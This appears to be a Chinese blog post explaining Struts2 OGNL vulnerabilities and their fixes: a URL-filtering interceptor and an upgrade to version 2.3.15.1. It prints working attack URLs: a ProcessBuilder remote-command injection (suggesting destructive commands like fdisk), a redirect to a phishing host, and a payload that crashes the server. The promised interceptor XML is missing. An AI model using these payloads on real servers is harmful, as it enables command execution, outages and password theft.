Struts2高危漏洞分析和解决方案

Struts2被曝出存在重要的安全漏洞,苹果、中国移动、中国联通、百度、腾讯、淘宝、京东、Sohu、民生银行等大型企业的网站均遭毒手,运维 工程师苦不堪言。

1可远程执行服务器脚本代码[2]用户可以构造

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}链接,command goes here可以换成是破坏脚本的路径和参数,比如fdisk -f等,造成破环系统无法运行的目的。

2.重定向漏洞[3] 

用户可以构造如知名网站淘宝的重定向连接,形如<a href="http://www.淘宝.com/item00001.html?redirect:http://黑客/getyourPassword">打折新款</a>,引导用户点击后进入钓鱼网站,在界面上让其进行登陆用以获取用户的密码

例如:当在浏览器输入如下地址时:

http://www.xxxx.com/aaa.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 

输入以后,服务器端就会崩溃

 

为什么会存在这样的漏洞:

1、 struts2提供了存储数据的内存结构valueStack

2、 struts2也提供了访问数据的方式ognl表达式

3、 ognl表达式不但可以访问到valueStack中的值,而且还可以改变valueStack中的值

调用valueStack.setValue即可

4、 ognl表达式还能执行静态方法,并且嵌入一些shellcoade代码执行。

这样的结构很灵活,很方便程序员对数据进行操作,因为太灵活,所以在这里就存在安全性的隐患了。可以把一些特别的代码(导致系统崩溃)嵌入到ognl表达式中。

 

说明:

上述url中的\u0023代表#号,%20代表空格,\u003代表等于

 

解决方案1:

     做一个自定义的拦截器,拦截器过滤url,如果含有\u0023这个字符串,则不能执行以后的操作。这个拦截器的执行一定要在ParameterInterceptor执行之前

xml配置如下:

解决方案2

升级struts2到最新版本(2.3以上)

1http://struts.apache.org/下载最新版jar

2,替换或添加以下jar

struts2-json-plugin-2.3.15.1

struts2-core-2.3.15.1

struts2-convention-plugin-2.3.15.1

xwork-core-2.3.15.1

freemarker-2.3.19

ognl-3.0.6

antlr-2.7.2

aopalliance-1.0

asm-3.3

asm-commons-3.3

asm-tree-3.3

builder-0.6.2

classworlds-1.1

commons-beanutils-1.8.0

commons-chain-1.2

commons-collections-3.1

commons-digester-2.0

commons-fileupload-1.3

commons-io-2.0.1

commons-lang-2.4

commons-lang3-3.1

commons-logging-1.1.3

commons-logging-api-1.1

commons-validator-1.3.1

struts2-spring-plugin-2.3.15.1,

3在struts.properties或struts.xml配置

<constant name="struts.objectFactory" value="org.apache.struts2.spring.StrutsSpringObjectFactory" />,

 

[]:项目最好自己管理404500等错误界面的显示,暴露服务器信息是相当危险的是,下面是tomcat项目配置错误界面方法

web.xml中添加:

<error-page>
	 <error-code>404</error-code>
	 <location>/notFound404.jsp</location>
 </error-page>
 <error-page>
	 <error-code>500</error-code>
	 <location>/notFound500.jsp</location>
 </error-page>


 

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值